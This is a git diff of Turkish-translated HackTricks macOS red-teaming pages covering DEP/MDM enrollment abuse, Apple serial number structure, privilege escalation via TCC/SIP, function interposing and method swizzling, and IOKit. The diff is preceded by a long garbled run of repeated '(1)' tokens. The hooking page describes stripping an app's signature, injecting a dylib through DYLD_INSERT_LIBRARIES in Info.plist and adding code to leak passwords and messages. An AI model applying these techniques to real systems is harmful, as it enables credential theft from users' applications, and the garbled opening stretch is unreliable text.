(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1 diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index 167d66c59..196b9e3bc 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -17,7 +17,7 @@ Bu araştırma, macOS'taki Cihaz Kaydı Programı (DEP) ve Mobil Cihaz Yönetimi - **`profiles`**: Yapılandırma Profillerini yönetir ve macOS 10.13.4 ve sonraki sürümlerde DEP kontrol noktalarını tetikler. - **`cloudconfigurationd`**: DEP API iletişimlerini yönetir ve Cihaz Kaydı profillerini alır. -DEP kontrol noktaları, Aktivasyon Kaydını almak için özel Yapılandırma Profilleri çerçevesinden `CPFetchActivationRecord` ve `CPGetActivationRecord` işlevlerini kullanır; `CPFetchActivationRecord`, `cloudconfigurationd` ile XPC üzerinden koordine olur. +DEP kontrol noktaları, Aktivasyon Kaydını almak için özel Yapılandırma Profilleri çerçevesinden `CPFetchActivationRecord` ve `CPGetActivationRecord` işlevlerini kullanır; `CPFetchActivationRecord`, `cloudconfigurationd` ile XPC üzerinden koordine eder. ## Tesla Protokolü ve Absinthe Şeması Ters Mühendislik @@ -25,9 +25,9 @@ DEP kontrol noktası, `cloudconfigurationd`'nin _iprofiles.apple.com/macProfile_ ## DEP İsteklerini Proxyleme -_iprofiles.apple.com_ adresine giden DEP isteklerini Charles Proxy gibi araçlarla kesmeye ve değiştirmeye yönelik girişimler, yük şifrelemesi ve SSL/TLS güvenlik önlemleri nedeniyle engellenmiştir. Ancak, `MCCloudConfigAcceptAnyHTTPSCertificate` yapılandırmasını etkinleştirmek, sunucu sertifika doğrulamasını atlamaya olanak tanır; ancak yükün şifreli doğası, şifre çözme anahtarı olmadan seri numarasının değiştirilmesini engeller. +_iprofiles.apple.com_ adresine giden DEP isteklerini Charles Proxy gibi araçlarla kesmeye ve değiştirmeye yönelik girişimler, yük şifrelemesi ve SSL/TLS güvenlik önlemleri nedeniyle engellenmiştir. Ancak, `MCCloudConfigAcceptAnyHTTPSCertificate` yapılandırmasını etkinleştirmek, sunucu sertifikası doğrulamasını atlamayı sağlar; ancak yükün şifreli doğası, şifre çözme anahtarı olmadan seri numarasının değiştirilmesini engeller. -## DEP ile Etkileşimde Bulunan Sistem İkili Dosyalarını Enstrümante Etme +## DEP ile Etkileşime Geçen Sistem İkili Dosyalarını Enstrümante Etme `cloudconfigurationd` gibi sistem ikili dosyalarını enstrümante etmek, macOS'ta Sistem Bütünlüğü Koruması'nın (SIP) devre dışı bırakılmasını gerektirir. SIP devre dışı bırakıldığında, LLDB gibi araçlar sistem süreçlerine bağlanmak ve DEP API etkileşimlerinde kullanılan seri numarasını potansiyel olarak değiştirmek için kullanılabilir. Bu yöntem, yetkilendirmeler ve kod imzalama karmaşıklıklarından kaçındığı için tercih edilmektedir. @@ -46,7 +46,7 @@ Sömürü süreci, keyfi seri numaralarını programatik olarak enjekte etmek ve ### DEP ve MDM Zafiyetlerinin Potansiyel Etkileri -Araştırma, önemli güvenlik endişelerini vurgulamıştır: +Araştırma, önemli güvenlik endişelerini vurguladı: 1. **Bilgi Sızdırma**: DEP'e kayıtlı bir seri numarası sağlayarak, DEP profilinde bulunan hassas kurumsal bilgilere erişim sağlanabilir. diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md index 3dce34722..0050c6a97 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md @@ -4,8 +4,37 @@ ## Temel Bilgiler -2010 sonrası Apple cihazları, her segmentin belirli bilgileri ilettiği **12 alfanümerik karakterden** oluşan seri numaralarına sahiptir: +2010 sonrası Apple cihazları, her biri belirli bilgileri ileten **12 alfanümerik karakterden** oluşan seri numaralarına sahiptir: - **İlk 3 Karakter**: **üretim yerini** gösterir. - **Karakterler 4 & 5**: **üretim yılı ve haftasını** belirtir. -- **Karakterler 6'dan 8'e**: Her cihaz için +- **Karakterler 6'dan 8'e**: Her cihaz için **benzersiz bir tanımlayıcı** olarak hizmet eder. +- **Son 4 Karakter**: **model numarasını** belirtir. + +Örneğin, seri numarası **C02L13ECF8J2** bu yapıyı takip eder. + +### **Üretim Yerleri (İlk 3 Karakter)** + +Belirli kodlar, belirli fabrikaları temsil eder: + +- **FC, F, XA/XB/QP/G8**: ABD'deki çeşitli yerler. +- **RN**: Meksika. +- **CK**: Cork, İrlanda. +- **VM**: Foxconn, Çek Cumhuriyeti. +- **SG/E**: Singapur. +- **MB**: Malezya. +- **PT/CY**: Kore. +- **EE/QT/UV**: Tayvan. +- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Çin'deki farklı yerler. +- **C0, C3, C7**: Çin'deki belirli şehirler. +- **RM**: Yenilenmiş cihazlar. + +### **Üretim Yılı (4. Karakter)** + +Bu karakter 'C' (2010'un ilk yarısını temsil eder) ile 'Z' (2019'un ikinci yarısını temsil eder) arasında değişir; farklı harfler farklı yarı yıl dönemlerini gösterir. + +### **Üretim Haftası (5. Karakter)** + +1-9 rakamları 1-9 haftalarına karşılık gelir. C-Y harfleri (sesli harfler ve 'S' hariç) 10-27 haftalarını temsil eder. Yılın ikinci yarısı için bu sayıya 26 eklenir. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 9825daa06..db55195f7 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -24,7 +24,7 @@ macos-users.md macos-applefs.md {{#endref}} -- **kernel**'in **mimari**si +- **kernel**'ın **mimari**si {{#ref}} mac-os-architecture/ @@ -37,7 +37,7 @@ macos-protocols.md {{#endref}} - **Açık kaynak** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) -- Bir `tar.gz` indirmek için, [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) gibi bir URL'yi [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) olarak değiştirin. +- Bir `tar.gz` indirmek için bir URL'yi [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) gibi [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) şeklinde değiştirin. ### MacOS MDM @@ -63,7 +63,7 @@ macos-security-protections/ ### Dosya İzinleri -Eğer bir **root olarak çalışan bir işlem** bir dosya yazıyorsa ve bu dosya bir kullanıcı tarafından kontrol edilebiliyorsa, kullanıcı bunu **yetkileri yükseltmek için** kötüye kullanabilir.\ +Eğer bir **root olarak çalışan bir süreç** bir dosya yazıyorsa ve bu dosya bir kullanıcı tarafından kontrol edilebiliyorsa, kullanıcı bunu **yetki yükseltmek için** kötüye kullanabilir.\ Bu aşağıdaki durumlarda gerçekleşebilir: - Kullanılan dosya zaten bir kullanıcı tarafından oluşturulmuş (kullanıcıya ait) @@ -93,9 +93,9 @@ macOS'ta **uygulamalar ve ikili dosyalar**, diğerlerinden daha ayrıcalıklı o Bu nedenle, bir macOS makinesini başarılı bir şekilde ele geçirmek isteyen bir saldırgan, **TCC ayrıcalıklarını yükseltmek** (veya ihtiyaçlarına bağlı olarak **SIP'yi atlamak**) zorundadır. -Bu ayrıcalıklar genellikle uygulamanın imzalandığı **haklar** şeklinde verilir veya uygulama bazı erişimler talep edebilir ve **kullanıcı onayladıktan** sonra **TCC veritabanlarında** bulunabilir. Bir işlemin bu ayrıcalıkları elde etmenin bir diğer yolu, bu **ayrıcalıklara** sahip bir işlemin **çocuğu** olmaktır, çünkü genellikle **devralınır**. +Bu ayrıcalıklar genellikle uygulamanın imzalandığı **haklar** şeklinde verilir veya uygulama bazı erişimler talep edebilir ve **kullanıcı onayladıktan** sonra **TCC veritabanlarında** bulunabilir. Bir sürecin bu ayrıcalıkları elde etmenin bir diğer yolu, bu **ayrıcalıklara** sahip bir sürecin **çocuğu** olmaktır, çünkü genellikle **devralınır**. -Farklı yollar bulmak için bu bağlantılara göz atın [**TCC'de yetki yükseltme**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC'yi atlamak**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) ve geçmişte [**SIP'nin nasıl atlandığı**](macos-security-protections/macos-sip.md#sip-bypasses). +Farklı yolları bulmak için bu bağlantılara göz atın [**TCC'de yetki yükseltme**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC'yi atlamak**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) ve geçmişte [**SIP'nin nasıl aşıldığı**](macos-security-protections/macos-sip.md#sip-bypasses). ## macOS Geleneksel Yetki Yükseltme diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index e3d4c395f..d8f8d1815 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -4,9 +4,9 @@ ## Function Interposing -Bir **dylib** oluşturun ve içinde **`__interpose`** bölümü (veya **`S_INTERPOSING`** ile işaretlenmiş bir bölüm) bulunan, **orijinal** ve **yerine geçen** fonksiyonlara atıfta bulunan **fonksiyon işaretçileri** çiftleri içersin. +Bir **dylib** oluşturun ve içinde **`__interpose`** bölümü (veya **`S_INTERPOSING`** ile işaretlenmiş bir bölüm) bulunan, **orijinal** ve **değiştirme** fonksiyonlarına atıfta bulunan **fonksiyon işaretçileri** çiftleri içersin. -Ardından, **`DYLD_INSERT_LIBRARIES`** ile dylib'i **enjekte** edin (interposing, ana uygulama yüklenmeden önce gerçekleşmelidir). Açıkça, [**`DYLD_INSERT_LIBRARIES`** kullanımına uygulanan **kısıtlamalar** burada da geçerlidir](../macos-proces-abuse/macos-library-injection/#check-restrictions). +Sonra, **`DYLD_INSERT_LIBRARIES`** ile dylib'i **enjekte** edin (interposing, ana uygulama yüklenmeden önce gerçekleşmelidir). Açıkça, [**`DYLD_INSERT_LIBRARIES`** kullanımına uygulanan **kısıtlamalar** burada da geçerlidir](../macos-proces-abuse/macos-library-injection/#check-restrictions). ### Interpose printf @@ -85,14 +85,14 @@ ObjectiveC'de bir metod şu şekilde çağrılır: **`[myClassInstance nameOfThe Nesne **`someObject`**, metod **`@selector(method1p1:p2:)`** ve argümanlar **value1**, **value2**'dir. -Nesne yapıları takip edilerek, **metodların** **isimleri** ve metod koduna **işaretçiler** içeren bir **metodlar dizisine** ulaşmak mümkündür. +Nesne yapıları takip edilerek, **metodların** **isimlerinin** ve metod koduna ait **işaretçilerin** **bulunduğu** bir **metodlar dizisine** ulaşmak mümkündür. > [!CAUTION] -> Metodlar ve sınıflar isimlerine göre erişildiğinden, bu bilginin ikili dosyada saklandığını unutmayın, bu nedenle `otool -ov ` veya [`class-dump `](https://github.com/nygard/class-dump) ile geri alınması mümkündür. +> Metodlar ve sınıflar isimlerine göre erişildiğinden, bu bilginin ikili dosyada saklandığını unutmayın, bu nedenle `otool -ov ` veya [`class-dump `](https://github.com/nygard/class-dump) ile geri almak mümkündür. ### Ham metodlara erişim -Aşağıdaki örnekte olduğu gibi metodların adı, parametre sayısı veya adresi gibi bilgilerine erişmek mümkündür: +Metodların ismi, parametre sayısı veya adresi gibi bilgilerine aşağıdaki örnekte olduğu gibi erişmek mümkündür: ```objectivec // gcc -framework Foundation test.m -o test @@ -160,7 +160,7 @@ return 0; ``` ### Method Swizzling with method_exchangeImplementations -Fonksiyon **`method_exchangeImplementations`**, **bir fonksiyonun** **uygulamasının** **adresini** **diğerine değiştirmeye** olanak tanır. +Fonksiyon **`method_exchangeImplementations`**, **bir fonksiyonun** **uygulamasının adresini** **diğerine değiştirmeye** olanak tanır. > [!CAUTION] > Bu nedenle bir fonksiyon çağrıldığında **çalıştırılan diğeri**dir. @@ -212,11 +212,11 @@ return 0; > > Aşağıdaki teknik bu kısıtlamaya sahip değildir. -### Method Swizzling with method_setImplementation +### method_setImplementation ile Metod Swizzling -Önceki format garip çünkü bir metodun uygulamasını diğerinin üzerine değiştiriyorsunuz. **`method_setImplementation`** fonksiyonunu kullanarak bir **metodun uygulamasını diğerinin** uygulamasıyla **değiştirebilirsiniz**. +Önceki format garip çünkü bir metodun uygulamasını diğerinin üzerine değiştiriyorsunuz. **`method_setImplementation`** fonksiyonunu kullanarak bir **metodun uygulamasını diğerinin** üzerine **değiştirebilirsiniz**. -Sadece, **orijinalinin uygulama adresini saklamayı** unutmayın, eğer onu yeni uygulamadan çağıracaksanız, çünkü daha sonra o adresi bulmak çok daha karmaşık olacaktır. +Sadece, **orijinal olanın uygulama adresini saklamayı** unutmayın, eğer onu yeni uygulamadan çağıracaksanız, çünkü daha sonra o adresi bulmak çok daha karmaşık olacaktır. ```objectivec #import #import @@ -272,13 +272,13 @@ return 0; Bu sayfada fonksiyonları hooklamak için farklı yollar tartışıldı. Ancak, bunlar **saldırı için süreç içinde kod çalıştırmayı** içeriyordu. -Bunu yapmak için en kolay teknik, bir [Dyld'yi ortam değişkenleri aracılığıyla veya kaçırarak](../macos-dyld-hijacking-and-dyld_insert_libraries.md) enjekte etmektir. Ancak, bunun [Dylib süreç enjeksiyonu](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port) aracılığıyla da yapılabileceğini düşünüyorum. +Bunu yapmak için en kolay teknik, bir [Dyld'yi ortam değişkenleri aracılığıyla veya ele geçirerek](../macos-dyld-hijacking-and-dyld_insert_libraries.md) enjekte etmektir. Ancak, bunun [Dylib süreç enjeksiyonu](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port) aracılığıyla da yapılabileceğini düşünüyorum. Ancak, her iki seçenek de **korumasız** ikili/süreçlerle **sınırlıdır**. Sınırlamalar hakkında daha fazla bilgi edinmek için her tekniği kontrol edin. Ancak, bir fonksiyon hooklama saldırısı çok spesifiktir, bir saldırgan bunu **bir süreçten hassas bilgileri çalmak için** yapar (aksi takdirde sadece bir süreç enjeksiyonu saldırısı yapardınız). Ve bu hassas bilgiler, MacPass gibi kullanıcı tarafından indirilen uygulamalarda bulunabilir. -Bu nedenle, saldırgan vektörü ya bir zafiyet bulmak ya da uygulamanın imzasını kaldırmak, uygulamanın Info.plist dosyasına **`DYLD_INSERT_LIBRARIES`** env değişkenini eklemek olacaktır. +Bu nedenle, saldırgan vektörü ya bir zafiyet bulmak ya da uygulamanın imzasını kaldırmak, uygulamanın Info.plist dosyasına **`DYLD_INSERT_LIBRARIES`** env değişkenini eklemek gibi bir şey eklemektir: ```xml LSEnvironment @@ -290,10 +290,10 @@ ve ardından **uygulamayı yeniden kaydet**: ```bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app ``` -Bu kütüphaneye bilgileri dışa aktarmak için hooking kodunu ekleyin: Parolalar, mesajlar... +Kütüphaneye bilgileri dışa aktarmak için hooking kodunu ekleyin: Parolalar, mesajlar... > [!CAUTION] -> Daha yeni macOS sürümlerinde, eğer uygulama ikili dosyasının **imzasını kaldırırsanız** ve daha önce çalıştırılmışsa, macOS **uygulamayı artık çalıştırmayacaktır**. +> Daha yeni macOS sürümlerinde, eğer uygulama ikili dosyasının **imzasını kaldırırsanız** ve daha önce çalıştırılmışsa, macOS **uygulamayı bir daha çalıştırmayacaktır**. #### Kütüphane örneği ```objectivec diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index 5e405f1b7..b4cd1ed51 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -6,7 +6,7 @@ I/O Kit, XNU çekirdeğinde açık kaynaklı, nesne yönelimli **cihaz sürücüsü çerçevesi**dir ve **dinamik olarak yüklenen cihaz sürücülerini** yönetir. Farklı donanımları destekleyerek çekirdeğe anında modüler kod eklenmesine olanak tanır. -IOKit sürücüleri esasen **çekirdekten fonksiyonlar dışa aktarır**. Bu fonksiyon parametre **tipleri** **önceden tanımlıdır** ve doğrulanır. Ayrıca, XPC'ye benzer şekilde, IOKit sadece **Mach mesajlarının** üzerinde başka bir katmandır. +IOKit sürücüleri esasen **çekirdekten fonksiyonlar dışa aktarır**. Bu fonksiyon parametre **tipleri** **önceden tanımlıdır** ve doğrulanır. Ayrıca, XPC'ye benzer şekilde, IOKit sadece **Mach mesajlarının** üstünde başka bir katmandır. **IOKit XNU çekirdek kodu**, Apple tarafından [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit) adresinde açık kaynak olarak yayınlanmıştır. Ayrıca, kullanıcı alanı IOKit bileşenleri de açık kaynaklıdır [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). @@ -82,9 +82,9 @@ ioreg -p #Check other plane IORegistryExplorer'da, "düzlemler" IORegistry'deki farklı nesneler arasındaki ilişkileri düzenlemek ve görüntülemek için kullanılır. Her düzlem, belirli bir ilişki türünü veya sistemin donanım ve sürücü yapılandırmasının belirli bir görünümünü temsil eder. IORegistryExplorer'da karşılaşabileceğiniz bazı yaygın düzlemler şunlardır: -1. **IOService Düzlemi**: Bu, sürücüleri ve nubs'ları (sürücüler arasındaki iletişim kanalları) temsil eden hizmet nesnelerini gösteren en genel düzlemdir. Bu nesneler arasındaki sağlayıcı-müşteri ilişkilerini gösterir. +1. **IOService Düzlemi**: Bu, sürücüleri ve nubs'ları (sürücüler arasındaki iletişim kanalları) temsil eden hizmet nesnelerini görüntüleyen en genel düzlemdir. Bu nesneler arasındaki sağlayıcı-müşteri ilişkilerini gösterir. 2. **IODeviceTree Düzlemi**: Bu düzlem, cihazların sisteme bağlı olduğu fiziksel bağlantıları temsil eder. Genellikle USB veya 